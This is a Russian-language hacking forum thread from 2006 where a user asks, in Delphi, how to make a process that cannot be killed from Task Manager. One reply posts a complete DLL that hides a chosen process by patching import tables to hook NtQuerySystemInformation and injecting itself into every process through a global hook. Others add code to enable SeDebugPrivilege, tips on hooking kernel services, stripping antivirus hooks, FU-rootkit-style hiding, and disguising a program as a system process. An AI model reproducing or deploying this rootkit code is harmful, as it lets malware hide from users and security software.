PDA

Просмотр полной версии : Как создать неубиваемый процесс


EST a1ien
13.11.2006, 09:37
Народ подскажите как создать неубиваемый процесс? Если я не ошибаюсь то делается это при помощт функции CreateProcess только какие параметры ей надо передать для того чтобы его нельзя было убить из диспетчера задач.

И сразу вопрос в догонку. Если я создам такой процесс смогу ли я получить доступ к нему из той программы при помощи которой я его запустил с помощью функций ReadProcessMemory/WriteProcessMemory ?

ps: Код желатьльно на Delphi

AHTOLLlKA
13.11.2006, 10:47
чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar

Ch3ck
13.11.2006, 10:57
_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes

EST a1ien
13.11.2006, 10:57
чето мне кажеца ты чувак гонишь)))
может просто создать скрытый процес, и не так палева и не че завершать то будет))
вот пример из статьи мс-рема
http://wasm.ru/pub/21/files/ring0.rar
Ты хоть понял что та прога делает а?
если нет то ненадо блистять гениальностью!!!
Могбы ставить минусы влепил бы ейбогу.

http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Если чесно тоя это прочитал почти сразу после того как запостил сообщение только для меня осталось непонятным как это работает а точнеевот эта часть почему так

if not initializeacl(acl,sizeof(_acl),acl_revision)
then showmessage('initializeacl'+#13#10+syserrormessage (getlasterror));

// Проверяем acl на корректность (не обязательно)
if not isvalidacl(acl) then exit;

// Инициализация структуры sd (security descriptor)
// После инициализации sd будет разрешать доступ к объекту для всех
if not initializesecuritydescriptor(@sd,security_descript or_revision)
then showmessage('initializesecuritydescriptor'+#13#10+ syserrormessage(getlasterror));

// Добавляем к описателю безопасности наш acl
// Теперь sd запрещает доступ всем
if not setsecuritydescriptordacl(@sd,true,@acl,true)
then showmessage('setsecuritydescriptordacl'+#13#10+sys errormessage(getlasterror));

// Опять проверка на корректность структуры
if not isvalidsecuritydescriptor(@sd) then exit;

// Заполняем структуру sa (security attributes)
zeromemory(@sa,sizeof(sa));
sa.nlength:=sizeof(sa);
sa.binherithandle:=false;
// Ссылка на наш дескриптор безопасности
sa.lpsecuritydescriptor:=@sd;

// Ну и наконец, создаем новый процесс с новыми атрибутами безопасности
zeromemory(@si,sizeof(si));
si.cb:=sizeof(si);

Brun
13.11.2006, 11:08
Листинг hide.dpr
library hide;

uses
Windows,
SysUtils,
ImageHlp,
TlHelp32;

type SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);

_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of
0:(
Characteristics: DWORD);
1:(
OriginalFirstThunk:DWORD;
TimeDateStamp:DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR=_IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR=^IMAGE_IMPORT_DESCRIPTOR;

PFARPROC=^FARPROC;

procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc; pfnNew: FARPROC; hmodCaller: hModule);
var ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD; ppfn:PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:= ImageDirectoryEntryToData(Pointer(hmodCaller), TRUE,IMAGE_DIRECTORY_ENTRY_IMPORT, ulSize);
if pImportDesc = nil then exit;
while pImportDesc.Name<>0 do
begin
pszModName := PChar(hmodCaller + pImportDesc.Name);
if (lstrcmpiA(pszModName, pszCallerModName) = 0) then break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then exit;
pThunk := PDWORD(hmodCaller + pImportDesc.FirstThunk);
while pThunk^<>0 do
begin
ppfn := PFARPROC(pThunk);
fFound := (ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXE CUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess, ppfn, @pfnNew, sizeof(pfnNew), Written);
exit;
end;
Inc(pThunk);
end;
end;

var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;

function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS; SystemInformation: Pointer;
SystemInformationLength:ULONG; ReturnLength:PULONG):LongInt; stdcall;
label onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass, SystemProcessesAndThreadsInformation
jne quit

onceagain:
mov esi, SystemInformation

getnextpidstruct:
mov ebx, esi
cmp dword ptr [esi],0
je quit
add esi, [esi]
mov ecx, [esi+44h]
cmp ecx, mypid
jne getnextpidstruct
mov edx, [esi]
test edx, edx
je fillzero
add [ebx], edx
jmp onceagain

fillzero:
and [ebx], edx
jmp onceagain

quit:
mov Result, eax
end

procedure InterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',addr_NtQuerySy stemInformation,@MyNtQuerySystemInfo,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;

procedure UninterceptFunctions;
var hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),'NtQuerySystemInformation ');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot=INVALID_HANDLE_VALUE then exit;
try
ZeroMemory(@me32,sizeof(MODULEENTRY32));
me32.dwSize:=sizeof(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',@MyNtQuerySyst emInfo,addr_NtQuerySystemInformation,me32.hModule) ;
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;


var HookHandle: THandle;

function CbtProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
Result:=0;
end;

procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT, @CbtProc, HInstance, 0);
end;

var hFirstMapHandle:THandle;

function HideProcess(pid:DWORD; HideOnlyFromTaskManager:BOOL):BOOL; stdcall;
var addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,P AGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle=0 then exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WR ITE,0,0,8);
if addrMap=nil then
begin
CloseHandle(hFirstMapHandle);
exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;

exports
HideProcess;

var
hmap: THandle;

procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;

begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideF ileMapping');
if hmap=0 then exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr=nil then exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_P ATH+1);
if not (ExtractFileName(fname)='taskmgr.exe') then exit;
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.


Прописываем
implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external 'hide.dll';

Прописываем в ОнШов например :
HideProcess(GetCurrentProcessId, false);

Жмём Alt+Ctrl+Del, а нас там нет :-)

AHTOLLlKA
13.11.2006, 11:12
ты сам видать не смотрел пример....
а насчет минусов, умный.. хех, лепи если сумеешь, мне фиалетово

TaNkist
13.11.2006, 11:14
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить. Так, например, делает Касперский.
Про перехват функций в ring0 стоит прочитать на wasm'е

EST a1ien
13.11.2006, 11:23
Можно перехватывать функции для работы с процесами (желательно на уровне ядра) и никому не давать себя убить.

Давайте вобще свой антивирь напишим чё мелочится а?
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)

Ладно с процесом коекак разобрались хотя неплохобы бало сделать чтото типа
_http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Только хотелось бы узнать как вобще эта штука работает?
А что насчёт ReadProcessMemory/WriteProcessMemory ?
Можно ли будет их использовать если сделать как вот сдесь _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes ?
(Хотелось бы)

TaNkist
13.11.2006, 13:23
Из-за того чтобы сделать просто неубиваемые процес мы полезем в 0 кольцо(верх гениальности)
Если ты знаешь способ создать дейтсвительно неубиваемый процесс (способ описанный в статье _http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes можно убить получив dubuge привелегии) из user mode поделись пожалуйста.

TaNkist
13.11.2006, 13:40
Только хотелось бы узнать как вобще эта штука работает?
Для каждого объекта ОС создает дескриптор безопастности, по которому определяет права доступа к нему. Очевидно, что в данном примере создается пустой дескриптор, и владельцем объекта становится создатель

EST a1ien
13.11.2006, 14:22
Дак а смогу ли я использовать
ReadProcessMemory/WriteProcessMemory к так созданому процессу?

TaNkist
13.11.2006, 14:24
Дак а смогу ли я использовать
ReadProcessMemory/WriteProcessMemory к так созданому процессу?
Если ты не владелец его и у тебя нет debuge привелегий то скорее всего нет
Получение debugePrivelege
function EnableDebugPrivilege(const Value: Boolean): Boolean;
const
SE_DEBUG_NAME = 'SeDebugPrivilege';
var
hToken: THandle;
tp: TOKEN_PRIVILEGES;
d: DWORD;
begin
Result := False;
if OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) then
begin
tp.PrivilegeCount := 1;
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid);
if Value then
tp.Privileges[0].Attributes := $00000002
else
tp.Privileges[0].Attributes := $80000000;
AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d);
if GetLastError = ERROR_SUCCESS then
begin
Result := True;
end;
CloseHandle(hToken);
end;
end;
Разнеснения по поводу работы функции:
Функция включает/выключает SeDebugPrivilege. Зачем эти привилегии нужны? На досуге попробуй записать что-нибудь в память системных процессов, например, в lsass.exe, без таких привилегий ты ничего сделать не сможешь.
Насчет самой функции:
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, hToken) - получаем токен нашего процесса.
LookupPrivilegeValue(nil, SE_DEBUG_NAME, tp.Privileges[0].Luid); - Получаем LUID привилегии
AdjustTokenPrivileges(hToken, False, tp, SizeOf(TOKEN_PRIVILEGES), nil, d); - добавляем (точнее включаем) привилегию к нашему процессу

EST a1ien
13.11.2006, 14:39
А как можно как нибудь создать неубиваемый процесс и использовать ReadProcessMemory/WriteProcessMemory только из того приложения которое его запустило.
То есть надо создать прогу которая запускает приложение меняет пару байт в запущеной проге и потом запрещает любое изменение запущенного приложения?

sn0w
13.11.2006, 17:19
2EST a1ien: ядерное программирование как раз и есть верх гениальности.

если ты хочешь чтобы процесс нельзя было убить - блокируешь доступ например к OpenProcess путем перехвата native api NtOpenProcess. Т.о. пропадет возможность открыть дескриптор процесса по которому его можно грохнуть. Перехват осуществляется простой подменой адресов ф-ий в SDT, доступ к которой имеет любой драйвер импортирующий KeServiceDescriptorTable.

Но... все это говно. Хуки с ядра можно снять даже из юзермода :) сам работал над этой вещью, назвал бетатеразином. Например после отработки начальной фазы кода, которая снимает все перехваты, мгновенно падает вся проактивная защита от касперского 6... ибо основана она на руткит-технологиях перехвата... которые уже стары как мир

выход есть. например полное скрытие процесса. мне вот нравится метод разрыва 2сторонних описателей процессов. можно заценить в исходниках FU rootkit

EST a1ien
13.11.2006, 20:24
Да блин мне ненадо настолько глубако закапыватся мне надо просто чтобы пользователь немог убить процесс запущенный мной из моей проги и всё!!!
Только вот этот http://articles.org.ru/cfaq/index.php?qid=1321&frommostrecent=yes
Пример почемуто неработает он компилится запускает блокнот только я всёравно могу его убить из диспетчера задач на вкладке процесы!!!!

W!z@rD
13.11.2006, 21:38
хм.. прикольно но пашет
назови свою прогу именем одним из неубиваемых процессов... (winlogon к примеру)
увидешь эффект :D

EST a1ien
15.11.2006, 14:09
Неа это бред ты просто назови любой exe'шник именем системного процеса запусти его и ты его несможеш убить:)

W!z@rD
15.11.2006, 23:56
EST a1ien
если серьезно то что тебе нужно это:
1. Использовать dll-ку с wasm'a
1.1. "пихаешь" ее в res.
1.2. при запуску распаковываешь
1.3. тут уже LoadLibrary, GetProcAddress, FreeLibrary
2. я писал что-то на подобие статьи вот: http://www.forum.antichat.ru/thread24230.html ... так вот в процессах спрятали... а если хотим скрыть сам файл? (чтобы в проводнике не видно было?) делаем как сказанно... к нашему файлу SetAtribytes(OurFile,faAnyFile)